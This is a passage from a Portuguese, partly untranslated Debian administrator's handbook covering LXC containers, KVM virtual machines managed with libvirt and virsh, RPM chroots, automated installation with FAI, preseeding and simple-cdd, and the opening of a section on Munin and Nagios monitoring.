# lxc-console -n testlxc Connected to tty 1 Type <Ctrl+a q> to exit the console, <Ctrl+a Ctrl+a> to enter Ctrl+a itself Debian GNU/Linux 11 testlxc tty1 testlxc login: root Password: Linux testlxc 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Mar 9 01:45:21 UTC 2022 on console root@testlxc:~# ps auxwf USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.2 18964 11464 ? Ss 01:36 0:00 /sbin/init root 45 0.0 0.2 31940 10396 ? Ss 01:37 0:00 /lib/systemd/systemd-journald root 71 0.0 0.1 99800 5724 ? Ssl 01:37 0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid [..] root 97 0.0 0.1 13276 6980 ? Ss 01:37 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups root 160 0.0 0.0 6276 3928 pts/0 Ss 01:46 0:00 /bin/login -p -- root 169 0.0 0.0 7100 3824 pts/0 S 01:51 0:00 \_ -bash root 172 0.0 0.0 9672 3348 pts/0 R+ 01:51 0:00 \_ ps auxwf root 164 0.0 0.0 5416 2128 pts/1 Ss+ 01:49 0:00 /sbin/agetty -o -p -- \u --noclear [...] root@testlxc:~#

Nós agora estamos dentro do container; nosso acesso aos processos é restrito apenas aqueles que foram iniciados a partir do próprio container, e nosso acesso ao sistema de arquivos é similarmente restrito ao subconjunto do sistema de arquivos completo dedicado (/var/lib/lxc/testlxc/rootfs). Nós podemos sair do console com Control+a q.

Note that we ran the container as a background process, thanks to lxc-start starting using the --daemon option by default. We can interrupt the container with a command such as lxc-stop --name=testlxc.

O pacote lxc contém um script de inicialização que pode iniciar automaticamente um ou vários containers quando a máquina inicia (ele faz uso do lxc-autostart que inicia os containers que tem a opção lxc.start.auto definida como 1). Controle mais afinado da ordem de início é possível com lxc.start.order e lxc.group: por padrão, o script de inicialização primeiro inicia os containers que são parte do grupo onboot e então os containers que não fazem parte de nenhum grupo. Em ambos os casos, a ordem dentro de um grupo é definida pela opção lxc.start.order.

APROFUNDAMENTO Virtualização em massa

Como o LXC é um sistema de isolamento muito leve, pode ser particularmente adaptado par uma maciça hospedagem de servidores virtuais. A configuração de rede provavelmente será um pouco mais avançada do que aquela que descrevemos acima, mas a configuração “rica”, usando as interfaces tap e veth, deverá ser suficiente em muitos casos.

Também pode fazer sentido compartilhar parte do sistema de arquivos, como os subdiretórios /usr e /lib, a fim de evitar a duplicação de software que possa ser comum a vários containers. Isso irá, geralmente, ser alcançado com as entradas lxc.mount.entry no arquivo de configuração dos containers. Um interessante efeito colateral é que os processos irão então usar menos memória física, já que o núcleo é capaz de detectar que os programas são compartilhados. O custo marginal de um container extra pode então ser reduzido a espaço de disco dedicado para seus dados específicos, e alguns processos extras que o núcleo tem que agendar e gerenciar.

Nós não descrevemos todas as opções disponíveis, é claro; informações mais completas podem ser obtidas a partir das páginas de manual lxc(7) e lxc.container.conf(5) e aquelas que elas referenciam.

12.2.3. Virtualização com KVM

KVM, que significa Kernel-based Virtual Machine, é primeiro e antes de tudo um módulo do núcleo que fornece a maior parte da infraestrutura que pode ser usada por um virtualizador, mas não um virtualizador em si mesmo. O controle real para virtualização é tratado por um aplicativo com base no QEMU. Não se preocupe se essa seção menciona os comandos qemu-*: ela continua sendo sobre KVM.

Ao contrário de outros sistemas de virtualização, o KVM foi incorporado ao núcleo Linux desde o seu início. Seus desenvolvedores escolheram tirar vantagem do conjunto de instruções do processador dedicado a virtualização (Intel-VT e AMD-V), o que mantém o KVM leve, elegante e sem fome por recursos. A contraparte, claro, é que o KVM não funciona em qualquer computador, mas apenas naqueles com os processadores apropriados. Para computadores baseados em x86, você pode verificar que você tem tal processador procurando por “vmx” ou “svm” nas flags da CPU listadas em /proc/cpuinfo.

Com a Red Hat ativamente suportando seu desenvolvimento, o KVM se tornou mais ou menos a referência na virtualização do Linux.

12.2.3.1. Etapas Preliminares

Unlike such tools as VirtualBox, KVM itself doesn't include any user-interface for creating and managing virtual machines. The virtual qemu-kvm package only provides an executable able to start a virtual machine, as well as an initialization script that loads the appropriate kernel modules.

Fortunately, Red Hat also provides another set of tools to address that problem, by developing the libvirt library and the associated virtual machine manager tools. libvirt allows managing virtual machines in a uniform way, independently of the virtualization system involved behind the scenes (it currently supports QEMU, KVM, Xen, LXC, OpenVZ, VirtualBox, VMWare, and UML). virt-manager is a graphical interface that uses libvirt to create and manage virtual machines.

Nós primeiro instalamos os pacotes necessários, com apt-get install libvirt-clients libvirt-daemon-system qemu-kvm virtinst virt-manager virt-viewer. O libvirt-daemon-system fornece o daemon libvirtd, que permite o gerenciamento (potencialmente remoto) de máquinas virtuais rodando no host, e inicia as VMs necessárias quando o host inicializa. O pacote libvirt-clients fornece a ferramenta de linha de comando virsh, que permite o controle das máquinas gerenciadas pelo libvirtd.

O pacote virtinst fornece o virt-install, o qual permite a criação de máquinas virtuais a partir da linha de comando. E finalmente, o virt-viewer que permite o acessar o console gráfico das VM's.

12.2.3.2. Configuração de Rede

Assim como no Xen e no LXC, a configuração de rede mais frequente envolve uma bridge agrupando as interfaces de rede das máquinas virtuais (veja Seção 12.2.2.2, “Configuração de Rede”).

Alternativamente, e na configuração padrão fornecida pelo KVM, um endereço privado é atribuído a máquina virtual (no intervalo 192.168.122.0/24), e o NAT é configurado para que a VM possa acessar a rede externa.

O restante desta seção assume que o host tem uma interface física eth0 e uma bridge br0, e que a primeira está conectada a última.

12.2.3.3. Instalação com virt-install

A criação de uma máquina virtual é muito similar a instalação de um sistema normal, exceto que as características da máquina virtual são descritas em uma linha de comando aparentemente interminável.

Em termos práticos, isso significa que nós iremos usar o instalador Debian, inicializando a máquina virtual pelo drive DVD-ROM virtual que é mapeado para uma imagem de DVD do Debian armazenada no sistema do host. A VM irá exportar seu console gráfico pelo protocolo VNC (see Seção 9.2.2, “Usando Ambientes Gráficos Remotamente” for details), o que irá nos permitir controlar o processo de instalação.

We first need to tell libvirtd where to store the disk images, unless the default location (/var/lib/libvirt/images/) is fine.

# mkdir /srv/kvm # virsh pool-create-as srv-kvm dir --target /srv/kvm Pool srv-kvm created #

DICA Adicione seu usuário ao grupo libvirt

Todos os exemplos nesta seção assumem que você está executando comandos como root. Efetivamente, se você quer controlar um serviço ("daemon") libvirt local, você precisa ser root ou ser membro do grupo libvirt (o que por padrão não é o caso). Assim, se você quer evitar ficar usando direitos de root com frequência, você pode adicionar a si próprio ao grupo libvirt e rodar os vários comandos com a identidade de seu usuário(a).

Vamos agora iniciar o processo de instalação da máquina virtual, e ter um olhar mais atento nas mais importantes opções do virt-install. Esse comando registra a máquina virtual e seus parâmetros no libvirtd, e então, a inicia, para que a sua instalação possa prosseguir.

# virt-install --connect qemu:///system --virt-type kvm --name testkvm --memory 2048 --disk /srv/kvm/testkvm.qcow,format=qcow2,size=10 --cdrom /srv/isos/debian-11.2.0-amd64-netinst.iso --network bridge=virbr0 --graphics vnc --os-type linux --os-variant debiantesting Starting install... Allocating 'testkvm.qcow'

A opção --connect especifica o “hypervisor” a ser usado. Sua forma é a de uma URL contendo o sistema de virtualização (xen://, qemu://, lxc://, openvz://, vbox://, e assim por diante) e a máquina que deve hospedar a VM (isso pode ser deixado vazio, no caso de ser um hospedeiro local). Além disso, no caso do QEMU/KVM, cada usuário pode gerenciar máquinas virtuais trabalhando com permissões restritas, e o caminho da URL permite diferenciar máquinas do “sistema” (/system) de outras (/session).

Como o KVM é gerenciado da mesma maneira que o QEMU, o --virt-type kvm permite especificar o uso do KVM, mesmo que a URL se pareça com a do QEMU.

A opção --name define um nome (específico) para a máquina virtual.

A opção --memory permite especificar a quantidade de RAM (em MB) a ser alocada para a máquina virtual.

A --disk especifica a localização do arquivo de imagem que irá representar nosso disco rígido da máquina virtual; esse arquivo é criado, se não estiver presente, com tamanho(em GB) especificado pelo parâmetro size. O parâmetro format permite escolher entre as várias maneiras de se armazenar o arquivo de imagem. O formato padrão (qcow2) permite iniciar com um pequeno arquivo que só cresce quando a máquina virtual realmente começa a usar espaço.

A opção --cdrom é usada para indicar aonde encontrar o disco ótico para usar na instalação. O caminho pode ser tanto um caminho local para um arquivo ISO, uma URL aonde o arquivo pode ser obtido, ou um arquivo de dispositivo de um drive físico de CD-ROM (por exemplo /dev/cdrom).

A --network especifica como a placa de rede virtual se integra na configuração de rede do hospedeiro. O comportamento padrão (o qual nós explicitamente forçamos em nosso exemplo) é para integrá-la em qualquer bridge de rede pré-existente. Se tal bridge não existe, a máquina virtual irá apenas alcançar a rede física através de NAT, ficando em um intervalo de endereço da sub-rede privada (192.168.122.0/24).

The default network configuration, which contains the definition for a virbr0 bridge interface, can be edited using virsh net-edit default and started via virsh net-start default if not already done automatically during system start.

--vnc determina que o console gráfico de ser disponibilizado usando o VNC. O comportamento padrão para o servidor VNC associado é para apenas escutar na interface local; se um cliente VNC tiver que ser executado em um host diferente, para estabelecer a conexão será necessário a configuração de um túnel SSH (veja Seção 9.2.1.4, “Criando Túneis Criptografados com Encaminhamento de Porta”). Alternativamente, --graphics vnclisten=0.0.0.0 pode ser usada para que o servidor VNC seja acessível a partir de todas as interfaces; note que se você fizer isso, você realmente deve projetar seu firewall de maneira apropriada.

As opções --os-type e --os-variant permitem a otimização de alguns parâmetros de máquina virtual, com base em algumas das conhecidas características do sistema operacional ali mencionadas.

The full list of OS types can be shown using the osinfo-query os command from the libosinfo-bin package.

Nesse ponto, a máquina virtual está rodando, e nós precisamos nos conectar ao console gráfico para prosseguir com o processo de instalação. Se a operação prévia foi executada a partir de um ambiente gráfico, essa conexão deve ser iniciada automaticamente. Se não, ou se nós operamos remotamente, o virt-viewer pode ser rodado a partir de qualquer ambiente gráfico para abrir o console gráfico (note que a senha do root do host remoto é pedida duas vezes porque a operação requer 2 conexões SSH):

$ virt-viewer --connect qemu+ssh://root@server/system testkvm root@server's password: root@server's password:

Figura 12.1. Connecting to installer session using virt-viewer

Quando o processo de instalação terminar, a máquina virtual é reiniciada, e agora pronta para o uso.

12.2.3.4. Gerenciando Máquina com virsh

Agora que instalação está feita, vamos ver como lidar com as máquinas virtuais disponíveis. A primeira coisa a tentar é pedir ao libvirtd a lista de máquinas virtuais que ele gerencia:

# virsh -c qemu:///system list --all Id Name State ---------------------------------- 8 testkvm shut off

Vamos iniciar nossa máquina virtual de teste:

# virsh -c qemu:///system start testkvm Domain testkvm started

Nós podemos agora pegar as instruções de conexão para o console gráfico (o visor VNC retornado pode ser dado como parâmetro para o vncviewer):

# virsh -c qemu:///system vncdisplay testkvm 127.0.0.1:0

Outros subcomandos disponíveis para o virsh incluem:

reboot reinicia uma máquina virtual;

shutdown para ativar um desligamento limpo;

destroy, para parar abruptamente;

suspend para pausar a mesma;

resume para despausar a mesma;

autostart para habilitar (ou desabilitar, com a opção --disable) o início da máquina virtual automaticamente quando o hospedeiro é iniciado;

undefine para remover todos os registros de uma máquina virtual do libvirtd.

Todos esses subcomandos têm como parâmetro a identificação da máquina virtual.

Installing an RPM based chroot in Debian with yum

If a chroot is meant to run Debian (or one of its derivatives), the system can be initialized with debootstrap. But if it is to be installed with an RPM-based system (such as Fedora, CentOS or Scientific Linux), the setup will need to be done using the yum utility, available as yum4 in the nextgen-yum4 package, since the original program has been removed from Debian before the Bullseye release due to being unmaintained, outdated, and obsoleted by dnf.

The procedure requires using rpm to extract an initial set of files, including notably yum configuration files, and then calling yum4 to extract the remaining set of packages. But since we call yum4 from outside the chroot, we need to make some temporary changes. In the sample below, the target chroot is /srv/centos.

# rootdir="/srv/centos" # mkdir -p "$rootdir" /etc/rpm # echo "%_dbpath /var/lib/rpm" > /etc/rpm/macros.dbpath # wget http://mirror.centos.org/centos/7/os/x86_64/Packages/centos-release-7-9.2009.0.el7.centos.x86_64.rpm # rpm --nodeps --root "$rootdir" -i centos-release-7-9.2009.0.el7.centos.x86_64.rpm rpm: RPM should not be used directly install RPM packages, use Alien instead! rpm: However assuming you know what you are doing... warning: centos-release-7-9.2009.0.el7.centos.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID f4a80eb5: NOKEY # sed -i -e "s,gpgkey=file:///etc/,gpgkey=file://${rootdir}/etc/,g" $rootdir/etc/yum.repos.d/*.repo # yum4 --assumeyes --installroot $rootdir groupinstall core [...] # sed -i -e "s,gpgkey=file://${rootdir}/etc/,gpgkey=file:///etc/,g" $rootdir/etc/yum.repos.d/*.repo # chroot /srv/centos/ [root@testsystem /]#

12.3. Instalação Automatizada

Os administradores da Falcot Corp, como muitos administradores de grandes serviços de TI, precisam de ferramentas para instalar (ou reinstalar) rapidamente, e automaticamente se possível, suas novas máquinas.

Essas exigências podem ser atendidas por uma ampla gama de soluções. Por um lado, ferramentas genéricas como a SystemImager lidam com isso criando uma imagem baseada em uma máquina modelo, e então, implantam essa imagem nos sistemas alvo; no extremo oposto do espectro, o instalador Debian padrão pode ser pré alimentado com um arquivo de configuração contendo as repostas das questões perguntadas durante o processo de instalação. Como um tipo de meio termo, uma ferramenta híbrida como a FAI (Fully Automatic Installer) instala máquinas usando o sistema de empacotamento, mas ela também usa sua própria infraestrutura para tarefas que são mais específicas para implantações em massa (como iniciação, particionamento, configuração e assim por diante).

Each of these solutions has its pros and cons: SystemImager works independently from any particular packaging system, which allows it to manage large sets of machines using several distinct Linux distributions. It also includes an update system that doesn't require a reinstallation, but this update system can only be reliable if the machines are not modified independently; in other words, the user must not update any software on their own, or install any other software. Similarly, security updates must not be automated, because they have to go through the centralized reference image maintained by SystemImager. This solution also requires the target machines to be homogeneous, otherwise many different images would have to be kept and managed (an amd64 image won't fit on a powerpc machine, and so on).

On the other hand, an automated installation using debian-installer can adapt to the specifics of each machine: the installer will fetch the appropriate kernel and software packages from the relevant repositories, detect available hardware, partition the whole hard disk to take advantage of all the available space, install the corresponding Debian system, and set up an appropriate bootloader. However, the standard installer will only install standard Debian versions, with the base system and a set of pre-selected “tasks”; this precludes installing a particular system with non-packaged applications. Fulfilling this particular need requires customizing the installer… Fortunately, the installer is very modular, and there are tools to automate most of the work required for this customization, most importantly simple-cdd (CDD being an acronym for Custom Debian Derivative). Even this solution, however, only handles initial installations; this is usually not a problem since the APT tools allow efficient deployment of updates later on.

We will only give a rough overview of FAI, and skip SystemImager altogether (which is no longer in Debian, but available as a third-party package), in order to focus more intently on debian-installer and simple-cdd, which are more interesting in a Debian-only context.

12.3.1. Instalador Completamente Automático (FAI)

Instalador Completamente Automático (Fully Automatic Installer) é provavelmente o mais antigo sistema de implantação automatizada para Debian, o que explica seu status como uma referência; mas sua natureza muito flexível apenas compensa a complexidade que ele envolve.

O FAI requer um sistema de servidor para armazenar informação da implantação e permitir que as máquinas alvo inicializem a partir da rede. Esse servidor requer o pacote fai-server (ou fai-quickstart, que também traz os elementos necessários para uma configuração padrão).

FAI uses a specific approach for defining the various installable profiles. Instead of simply duplicating a reference installation, FAI is a full-fledged installer, fully configurable via a set of files and scripts stored on the server; the default location /srv/fai/config/ according to /etc/fai/nfsroot.conf is not automatically created, so the administrator needs to create it along with the relevant files. Most of the times, these files will be customized from the example files available in the documentation for the fai-doc package, more particularly the /usr/share/doc/fai-doc/examples/simple/ directory.

Once the profiles are defined, the fai-setup command generates the elements required to start an FAI installation; this mostly means preparing or updating a minimal system (NFS-root) used during installation. An alternative is to generate a dedicated boot CD with fai-cd.

Para criar todos esses arquivos de configuração é necessário algum entendimento da maneira a qual o FAI funciona. Um processo de instalação típico é feito dos passos seguintes:

pegar um núcleo da rede, e iniciá-lo;

montar um sistema de arquivo raiz de um NFS;

executar /usr/sbin/fai, o qual controla o resto do processo (os próximos passos portanto são iniciados por este roteiro);

copiar o espaço de configuração do servidor para /fai/;

rodando fai-class. Os scripts /fai/class/[0-9][0-9]* são executados em turnos, e retornam nomes de “classes” que se aplicam a máquina que está sendo instalada; essa informação irá servir como base para as etapas seguintes. Isso permite alguma flexibilidade na definição de serviços a serem instalados e configurados.

buscando várias variáveis de configuração, dependendo das classes relevantes;

particionar os discos e formatar as partições com base nas informações fornecidas em /fai/disk_config/class;

montar essas partições;

instalar o sistema base;

preparar o banco de dados Debconf com fai-debconf;

buscar a lista de pacotes disponíveis para o APT;

instalar os pacotes listados em /fai/package_config/class;

executar os scripts de pós configuração, /fai/scripts/class/[0-9][0-9]*;

gravar os registros de instalação, desmontar as partições e reinicializar o computador.

12.3.2. Preseeding Debian-Installer

At the end of the day, the best tool to install Debian systems should logically be the official Debian installer. This is why, right from its inception, debian-installer has been designed for automated use, taking advantage of the infrastructure provided by debconf. The latter allows, on the one hand, to reduce the number of questions asked (hidden questions will use the provided default answer), and on the other hand, to provide the default answers separately, so that installation can be non-interactive. This last feature is known as preseeding.

INDO ALÉM Debconf com um banco de dados centralizado

O Preseeding permite fornecer um conjunto de respostas às perguntas do Debconf no momento da instalação, mas essas respostas são estáticas e não evoluem com o passar do tempo. Como máquinas já instaladas talvez precisem de atualização, e novas respostas talvez venham a ser necessárias, o arquivo de configuração /etc/debconf.conf pode ser configurado para que o Debconf use fontes de dados externas (como um servidor de diretório LDAP, ou um arquivo remoto acessado via NFS ou Samba). Várias fontes de dados externas podem ser definidas ao mesmo tempo, e elas se complementam. O banco de dados local ainda é usado (para acesso leitura-escrita), mas os bancos de dados remotos são, geralmente, restritos a leitura. A página de manual debconf.conf(5) descreve todas as possibilidades em detalhes. (você precisa do pacote debconf-doc).

12.3.2.1. Usando um Arquivo Preseed

Existem vários lugares aonde o instalador pode obter um arquivo preseeding:

Dentro do initrd ,usado para iniciar a máquina; neste caso, o preseeding acontece bem no início da instalação, e todas as perguntas podem ser evitadas. O arquivo apenas precisa ser chamado preseed.cfg e armazenado dentro da raiz do initrd.

na mídia de inicialização (CD ou dispositivo USB); o preseeding então acontece assim que a mídia é montada, o que significa ser logo após as perguntas sobre idioma e layout do teclado. O parâmetro de inicialização preseed/file pode ser usado para indicar a localização do arquivo preseeding (por exemplo, /cdrom/preseed.cfg quando a instalação é feita por um CD-ROM, ou /hd-media/preseed.cfg no caso de um dispositivo USB).

from the network; preseeding then only happens after the network is (automatically) configured; the relevant boot parameter is then preseed/url=http://server/preseed.cfg (HTTPS, FTPS, SFTP, etc. are not supported).

De relance, incluir o arquivo preseeding dentro do initrd parece ser a solução mais interessante; no entanto, ela raramente é usada na prática, porque gerar um initrd instalador é bem complexo. As outras duas soluções são muito mais comuns, especialmente quando os parâmetros de inicialização fornecem outra maneira de fazer "preseed" das respostas para as primeiras perguntas do processo de instalação. A maneira usual de evitar o incômodo de digitar esses parâmetro de inicialização a manualmente a cada instalação é salvá-los na configuração do isolinux (no caso do CD-ROM) ou syslinux (dispositivo USB).

12.3.2.2. Criando um Arquivo Preseed

Um arquivo preseed é um arquivo de texto puro, aonde cada linha contém a resposta para uma pergunta do Debconf. A linha é dividida em quatro campos separados por espaço em branco (espaços ou tabs), com em, por exemplo, d-i mirror/suite string stable:

o primeiro campo é o “dono” da pergunta; “d-i” é usado para perguntas relevantes para o instalador, mas ele também pode ser um nome de pacote para perguntas vindas a partir de pacotes Debian;

the second field is an identifier for the question (the template name);

terceiro, o tipo de pergunta;

o quarto e último campo contém o valor para a resposta. Note que ele tem que ser separador do terceiro campo com um único espaço; se existir mais de um, os caracteres espaço seguintes serão considerados parte do valor.

A maneira mais simples de escrever um arquivo preseed é instalar o sistema manualmente. Então o debconf-get-selections --installer irá prover as respostas com relação ao instalador. Respostas sobre outros pacotes podem ser obtidas com debconf-get-selections. No entanto, uma solução mais limpa é escrever o arquivo preseed manualmente, iniciando a partir de um exemplo e da documentação de referência: com tal abordagem, apenas perguntas aonde a resposta padrão precisa ser sobrescrita podem se submeter ao preseeded; usando o parâmetro de inicialização priority=critical irá instruir o Debconf a apenas perguntar questões criticas, e usar a resposta padrão para as outras.

Pre-setting a value in a preseed file automatically instructs the Debian installer to not ask that question. This happens, because loading the preseed file does not just set the given value(s), but also marks each of the affected dialogs as “seen“ by the user. Thus it is possible to pre-set a question's value and still present the dialog to the user by resetting the “seen“ flag. Beware that order in this case matters and that the value has to be preseeded before setting the dialog to “unseen“ as shown in the following example:

d-i netcfg/hostname string worker d-i netcfg/hostname seen false

DOCUMENTAÇÃO Apêndice do guia de instalação

The installation guide, available online, includes detailed documentation on the use of a preseed file in an appendix. It also includes a detailed and commented sample file, which can serve as a base for local customizations. There are also collections of all debconf templates extracted from each component and suite of Debian:

→ https://www.debian.org/releases/stable/amd64/apb

→ https://www.debian.org/releases/stable/example-preseed.txt

→ https://preseed.debian.net/

Preseeding an installation is often not as straightforward as one would wish. It sometimes requires to understand how packages process the given values in their scripts. Don't hesitate to ask on the <debian-cd@lists.debian.org> mailing list or in the #debian-cd IRC channel if you require help. Also be aware that some complex setups still cannot be achieved by preseeding.

12.3.2.3. Criando uma Mídia de Inicialização Customizada

Saber aonde armazenar um arquivo preseed é muito bom, mas a localização não é tudo: é preciso, de uma forma ou de outra, alterar a mídia de inicialização de instalação para mudar os parâmetros de inicialização e adicionar o arquivo preseed.

12.3.2.3.1. Inicializando a Partir da Rede

Quando um computador é inicializado a partir da rede, o servidor que envia os elementos de inicialização também define os parâmetros de inicialização. Assim, a alteração precisa ser feita na configuração PXE do servidor de inicialização; mais especificamente, no seu arquivo de configuração /tftpboot/pxelinux.cfg/default. Configurar a inicialização pela rede é um pré-requisito; veja o Guia de Instalação para detalhes.

→ https://www.debian.org/releases/stable/amd64/ch04s05

12.3.2.3.2. Preparando um Dispositivo USB Inicializável

Once a bootable key has been prepared (see Seção 4.1.2, “Iniciando a partir de um pendrive”), a few extra operations are needed. Assuming the key contents are available under /media/usbdisk/, copy the preseed file to /media/usbdisk/preseed.cfg.

If you have been using a hybrid ISO image to create the bootable USB stick, then you have to edit /media/usbdisk/boot/grub/grub.cfg (for the EFI boot screen):

Exemplo 12.2. boot/grub/grub.cfg file and preseeding parameters

menuentry --hotkey=i 'Install' { set background_color=black linux /install.amd/vmlinuz preseed/file=/cdrom/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 --- quiet initrd /install.amd/initrd.gz }

And you have to edit /media/usbdisk/isolinux/isolinux.cfg (for BIOS boot) or one of the files it utilizes - e.g. /media/usbdisk/isolinux/txt.cfg - to add required boot parameters:

Exemplo 12.3. isolinux/txt.cfg file and preseeding parameters

label install menu label ^Install kernel [...] append preseed/file=/cdrom/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 initrd=/install.amd/initrd.gz --- quiet

If you have been using the hd-media installer image for a custom USB stick, edit /media/usbdisk/syslinux.cfg and add the required boot parameters as shown in the example below:

Exemplo 12.4. arquivo syslinux.cfg e parâmetros preseeding

default vmlinuz append preseed/file=/hd-media/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 initrd=initrd.gz --

12.3.2.3.3. Criando uma Imagem de CD-ROM

Um dispositivo USB é uma mídia de leitura-escrita, então foi fácil para nós adicionar um arquivo lá e alterar alguns parâmetros. No caso do CD-ROM, a operação é mais complexa, já que nós precisamos refazer uma imagem ISO completa. Essa tarefa é feita pelo debian-cd, mas essa ferramenta é um pouco mais complicada de usar: ela precisa de um espelho local, e requer o entendimento de todas as opções fornecidas pelo /usr/share/debian-cd/CONF.sh; mesmo assim, o make tem que ser invocado várias vezes. /usr/share/debian-cd/README é, portanto, uma leitura muito recomendada.

Having said that, debian-cd always operates in a similar way: an “image” directory with the exact contents of the CD-ROM is generated, then converted to an ISO file with a tool such as genisoimage, mkisofs or xorriso. The image directory is finalized after debian-cd's make image-trees step. At that point, we insert the preseed file into the appropriate directory (usually $TDIR/$CODENAME/CD1/, $TDIR and $CODENAME being parameters defined by the CONF.sh configuration file). The CD-ROM uses isolinux as its bootloader, and its configuration file must be adapted from what debian-cd generated, in order to insert the required boot parameters (the specific files are $TDIR/$CODENAME/CD1/isolinux/isolinux.cfg and $TDIR/$CODENAME/CD1/boot/grub/grub.cfg as shown above). Then the “normal” process can be resumed, and we can go on to generating the ISO image with make image CD=1 (or make images if several CD-ROMs are generated).

12.3.3. Simple-CDD: A Solução Tudo-Em-Um

Simplesmente usar um arquivo preseed não é o suficiente para preencher todos os requerimentos que possam aparecer em grandes implantações. Mesmo que seja possível executar alguns scripts no final de processos normais de instalação, a seleção de um conjunto de pacotes a instalar ainda não é muito flexível (basicamente, apenas “tarefas” podem ser selecionadas); mais importante, isso apenas permite a instalação de pacotes Debian oficiais e impede os gerados localmente.

On the other hand, debian-cd is able to integrate external packages, and debian-installer can be extended by inserting new steps in the installation process. By combining these capabilities, it should be possible to create a customized installer that fulfills our needs; it should even be able to configure some services after unpacking the required packages. Fortunately, this is not a mere hypothesis, since this is exactly what simple-cdd does.

The purpose of this tool is to allow anyone to easily create a distribution derived from Debian, by selecting a subset of the available packages, preconfiguring them with Debconf, adding specific software, and executing custom scripts at the end of the installation process. This matches the “universal operating system” philosophy, since anyone can adapt it to their own needs.

12.3.3.1. Criando Perfis

O Simple-CDD define “perfis” que coincidem com o conceito “classes” FAI e uma máquina pode ter vários perfis (determinados no momento da instalação). Um perfil é definido por um conjunto de arquivos profiles/profile.*:

o arquivo .description contém uma descrição de uma linha para o perfil;

o arquivo .packages lista os pacotes que irão ser instalados automaticamente caso o perfil seja selecionado;

o arquivo .downloads lista os pacotes que serão armazenados na mídia de instalação, mas não necessariamente instalados;

o arquivo .preseed contém as informações preseeding para as perguntas do Debconf (para o instalador e/ou para os pacotes);

o arquivo .postinst contém um script que será executado no final do processo de instalação;

lastly, the .conf file allows changing some parameters based on the profiles to be included in an image.

O perfil padrão tem uma função em particular, já que ele está sempre selecionado; el contém o mínimo necessário para o Simple-CDD funcionar. A única coisa que geralmente é customizada nesse perfil é o parâmetro preseed simple-cdd/profiles: isso permite evitar a pergunta, introduzida pelo Simple-CDD, sobre quais perfis instalar.

Note também que os comandos precisam ser invocados a partir do diretório pai do diretório profiles.

12.3.3.2. Configurando e Usando o build-simple-cdd

OLHADA RÁPIDA Arquivo de configuração detalhado

An example of a Simple-CDD configuration file, with most possible parameters, is included in the package (/usr/share/doc/simple-cdd/examples/simple-cdd.conf.detailed). This can be used as a starting point when creating a custom configuration file. Unfortunately not everything is documented there, so some variables are only listed and explained in /usr/lib/python3/dist-packages/simple_cdd/variables.py.

It is further important to familiarize yourself with the variables understood by /usr/share/debian-cd/CONF.sh.

O Simple-CDD requer muitos parâmetros para operar plenamente. Eles irão, na maioria das vezes, estar reunidos em um arquivo de configuração, o qual pode ser informado ao build-simple-cdd com a opção --conf, mas eles também podem ser especificados via parâmetros dedicados dados ao build-simple-cdd. Aqui está uma visão geral de como esse comando se comporta, e como seus parâmetros são usados:

o parâmetro profiles lista os perfis que serão incluídos na imagem CD-ROM gerada;

com base na lista de pacotes requeridos, o Simple-CDD baixa os arquivos apropriados do servidor mencionado em server, e os reúne em um espelho parcial (que mais tarde será dado ao debian-cd);

os pacotes customizados mencionados em local_packages também são integrados neste espelho local;

o debian-cd é então executado (dentro de uma local padrão que pode ser configurada com a variável debian_cd_dir), com a lista de pacotes para integrar;

uma vez que o debian-cd tenha preparado seu diretório, o Simple-CDD aplica algumas mudanças nesse diretório:

arquivos contendo os perfis são adicionados em um subdiretório simple-cdd (que irá terminar no CD-ROM);

outros arquivos listados no parâmetro all_extras também são adicionados;

os parâmetros de inicialização são ajustados a fim de habilitar o preseeding. Perguntas com relação a idioma e país podem ser evitadas se a informação requerida está armazenada nas variáveis language e country.

o debian-cd então gera a imagem ISO final.

12.3.3.3. Gerando uma imagem ISO

Once we have written a configuration file and defined our profiles, the remaining step is to invoke build-simple-cdd --conf simple-cdd.conf. After a few minutes, we get the required image in images/debian-11-amd64-CD-1.iso.

12.4. Monitoramento

O monitoramento é um termo genérico e as várias atividades envolvidas tem vários objetivos: por um lado, seguir o uso dos recursos fornecidos pela máquina permite antecipar a saturação e os subsequentes necessidades de upgrades; por outro lado, alertar o administrador assim que um serviço fica indisponível ou não está funcionando de maneira apropriada significa que os problemas que estão acontecendo podem ser consertados mais rapidamente.

O Munin cobre a primeira área, exibindo gráficos de valores históricos de inúmeros parâmetros (RAM usada, espaço de disco ocupado, carga do processador, tráfego de rede,carga do Apache/MySQL, e assim por diante). O Nagios cobre a segunda área,regularmente checando se os serviços estão funcionando e disponíveis, e enviando alertas através dos canais apropriados (e-mails, mensagens de texto e assim por diante). Os dois tem um design modular, o que torna fácil criar novas extensões para monitorar parâmetros específicos ou serviços.

ALTERNATIVA Zabbix, uma ferramenta de monitoramento integrada

Although Munin and Nagios are in very common use, they are not the only players in the monitoring field, and each of them only handles half of the task (graphing on one side, alerting on the other). Zabbix, on the other hand, integrates both parts of monitoring; it also has a web interface for configuring the most common aspects. It has grown by leaps and bounds during the last few years, and can now be considered a viable contender. On the monitoring server, you would install zabbix-server-pgsql (or zabbix-server-mysql), possibly together with zabbix-frontend-php to have a web interface. On the hosts to monitor you would install zabbix-agent feeding data back to the server.

→ https://zabbix.com/

ALTERNATIVA Icinga, uma ramificação do Nagios

Spurred by divergences in opinions concerning the development model for Nagios (which is controlled by a company), a number of developers forked Nagios and use Icinga as their new name. Icinga is still compatible — so far — with Nagios configurations and plugins, but it also adds extra features.

→ https://icinga.com/

12.4.1. Configurando o Munin

O propósito do Munin é monitorar muitas máquinas; logo, é bem natural que ele use uma arquitetura cliente/servidor. A máquina ("host") central — que faz o gráfico ("grapher") — coleta dados de todas as máquinas ("hosts") monitoradas, e gera gráficos com os históricos.

12.4.1.1. Configurando As Máquinas A Serem Monitoradas

